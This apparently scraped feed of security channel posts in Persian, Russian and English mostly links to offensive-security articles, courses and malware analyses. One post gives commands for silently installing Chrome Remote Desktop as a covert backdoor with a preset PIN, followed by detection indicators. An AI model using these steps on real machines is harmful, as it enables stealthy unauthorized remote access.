Source Byte

Релиз моей статьи об атаках на IPv6 Caster - Legless (БезногNM) Genre: Offensive Label: exploit.org Release Date: 20 July 2025 Language: English Performed by: Caster Written by: Magama Bazarov Mastered by: Magama Bazarov Cover Edit: Magama Bazarov https://blog.exploit.org/caster-legless

UAC Bypass Chain Leading To Silent Elevation 👾 The Presentation Video My Blog: https://binary-win.github.io/2025/08/22/UAC-Bypass.html

We start in 5 Minutes . This webinar will be in Persian

Breaking modern software protectors through exploitation Reverse engineer VMProtect's obfuscator by using its embedded Lua scripting engine. They recover the original #RTTI information from the obfuscator and get a better understanding of its inner workings. https://www.youtube.com/live/PAG3M7mWT2c?si=Okhlj2PjXqfue5NU #vmprotect source

┐⁠(⁠´⁠ー⁠｀⁠)⁠┌ https://www.linkedin.com/posts/alireza-hosseini-ab53a7282_%EF%BD%93%EF%BD%85%EF%BD%83-%EF%BD%8E%EF%BD%8F%EF%BD%94%EF%BD%85-activity-7363312135457673217-Pc6k?utm_source=share&utm_medium=member_desktop&rcm=ACoAAETB42kB9nlQcP_FDiEg8Yigl_kGSv6f5hE

RTTI Internals in MSVC https://www.lukaszlipski.dev/post/rtti-msvc/ #RTTI

HyperDbg نسخه ۰.۱۵ منتشر شد! ✨🎈 این نسخه با یک دستور جدید وقفه SMM (SMI) ارائه می‌شود و مشکلات شبیه‌سازی Intel CET برای SYSCALL/SYSRET در پردازنده‌های نسل یازدهم (Tiger/Rocket Lake) را برطرف می‌کند، همچنین رجیسترهای XMM را در VM-exits/entries ذخیره/بازیابی می‌کند. آن را بررسی کنید: https://github.com/HyperDbg/HyperDbg/releases/tag/v0.15 اطلاعات بیشتر: https://docs.hyperdbg.org/commands/extension-commands/smi بهبود دستور '.pe': https://docs.hyperdbg.org/commands/meta-commands/.pe

https://x.com/CyberRaiju/status/1956566419388182954 #CVE_2025_300234 , #CVE_2025_300235 , #CVE_2025_300236

🎥 ویدئوی معرفی دوره Exploit Development در لینوکس 📚 توی این دوره قراره یاد بگیریم آسیب‌پذیری‌ها در لینوکس چطور به وجود میان، چطور شناسایی می‌شن و چطور می‌شه ازشون استفاده کرد. قدم‌به‌قدم جلو میریم: از آشنایی با ساختار و امنیت لینوکس، تا پیدا کردن باگ‌ها و نوشتن اکسپلویت برای اون‌ها. 🧨 بخش مهم دوره، مهندسی معکوس برنامه‌های لینوکسیه؛ یعنی یاد می‌گیریم چطور یک فایل اجرایی رو باز کنیم، کدهاشو بخونیم و ضعف‌هاشو پیدا کنیم. با ابزارهایی مثل GDB، pwndbg، Ghidra، Radare2، PwnTools و چند تا ابزار دیگه کار می‌کنیم و در عمل می‌بینیم چطور می‌شه مکانیزم‌های امنیتی مثل ASLR، Stack Canaries، NX رو دور زد. 💣 در طول دوره با انواع آسیب‌پذیری‌ها مثل Buffer Overflow، Integer Overflow، Format String و چیزهای دیگه آشنا می‌شیم، روش‌های بهره‌برداری رو یاد می‌گیریم و روی چالش‌های CTF تمرین می‌کنیم. 💡در پایان هم یک پروژه عملی داریم: تحلیل یک CVE واقعی و نوشتن اکسپلویت برای اون. ⏰ هر پنج‌شنبه منتظر یک فصل از دوره باشید. شروع از ۵شنبه ۳۰ مرداد. https://t.me/OxAA55/140

Vx-Drivers 🕳️ [ Tweet ]

A Mega Malware Analysis Tutorial Featuring Donut-Generated Shellcode We created an in-depth malware analysis tutorial featuring shellcode generated by a tool named Donut. The tutorial walks through a single infection chain from end to end, starting with a sample, and assuming no prior knowledge of the malware in question.

🧪 Abusing Chrome Remote Desktop (CRD) for Covert Access 💻 Red Team tool или вектор для APT? Chrome Remote Desktop (CRD) — легитимный инструмент от Google, позволяющий управлять системой через веб-интерфейс. Но при грамотной установке и конфигурации он превращается в удобный бекдор: скрытный, устойчивый, шифрованный и легитимный. ⚙️ Этапы эксплуатации (Red Team-практика) 📥 Скачивание инсталлятора Переход на remotedesktop.google.com → загрузка .msi через Set up via SSH. 📦 Установка на жертве

msiexec /i chromeremotedesktophost.msi /qn

Требуются локальные админ-права. 🌐 Авторизация через Google-аккаунт В браузере запускается мастер CRD. После авторизации система выдаёт команду настройки подключения с OAuth-кодом. 🛠️ Обход GUI через undocumented флаг Чтобы избежать необходимости ручного ввода PIN через GUI:

remoting_start_host.exe --code="TOKEN" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=123456

Ключ --pin= не задокументирован, но работает (≥ 6 цифр). 📡 Подключение После запуска команды хост появится в веб-интерфейсе CRD. Подключение через браузер: ввод PIN → полный GUI-доступ. Импакт 🔹 Устойчивый доступ (если настроен unattended mode) 🔹 Полноценный GUI 🔹 трафик — уходит в Google 🔹 Низкая видимость: всё работает внутри chrome.exe, без .exe из сторонних RAT'ов 🔹 Отсутствие необходимости в порт-форвардинге / firewall-обходе 🛡️ Detection / Hunting - Установка Chrome Remote Desktop Host: %ProgramFiles(x86)%\Google\Chrome Remote Desktop\ - Службы: remoting_host.exe - Планировщик задач: chromeremotedesktophost - Нетипичный трафик к: remotedesktop-pa.googleapis.com relay.mtls.sandbox.googleapis.com - Поведенческий анализ chrome.exe с GUI-доступом в off-hours 📍Вывод: техника идеально вписывается в APT / Red Team TTPs. CRD — малозаметный способ удалённого управления, особенно актуален при наличии EDR, блокирующего кастомный RAT. Рекомендуется whitelist-контроль (AppLocker, WDAC) и мониторинг установки CRD в инфраструктуре. 🔗https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide 🦔 THF

XWorm V6: Advanced Evasion and AMSI Bypass Capabilities Revealed

Why do these malware samples exhibit such a basic design? 🫥

❄️ بلوکه شدن بیش از 28 میلیون دلار دیگر 🔸بنیاد تتر در 26 جولای، بیش از 28 میلیون دلار دارایی تتر را فریز و والت‌های مربوطه را در لیست سیاه خود قرار می داده است. 🔸بررسی ما مشخص کرد که این والت‌ها با احتمال بسیار بالا برای یک سکوی ایرانی بوده اما نمی‌توان با قطعیت گفت کدام سکو و پلتفرم ایرانی این دارایی ها را از دست داده است. حجم واریزی‌ها از صرافی نوبیتکس به این والت‌ها، احتمال اینکه این والت‌ها برای صرافی نوبیتکس باشد را بسیار پایین آورده و تقریبا رد می کند. 🥶 در مجموع بیش ار 50 میلیون دلار دارایی بلوکه شده توسط بنیاد تتر مرتبط با پروژه های ایرانی شناسایی شده است. برخی از این والت‌ها نیز با صرافی‌های متمرکز خارجی مانند بایننس در ارتباط بوده‌اند که احتمالا آنها نیز در صرافی بلوکه و یا در والت‌های ناشناس، فلگ یا فریز شده‌اند. برخی آدرس والت های فریز شده: TBJT9BP7cM5yYne9kTdf2HNu9mX1WpRQpt TGuqbYqJ4m1J8dKWB3NVnsuXtgXCQkgdyf TTc6TVtmRUpYR9fhZeixsNkJuCMRzFqfcb

Offensive Security & Red Teaming Labs and Projects Bitnet-labs

Personal Red Team and Offensive Security labs, exercises, and projects. This repository documents my journey to become an Offensive Security professional and Red Teamer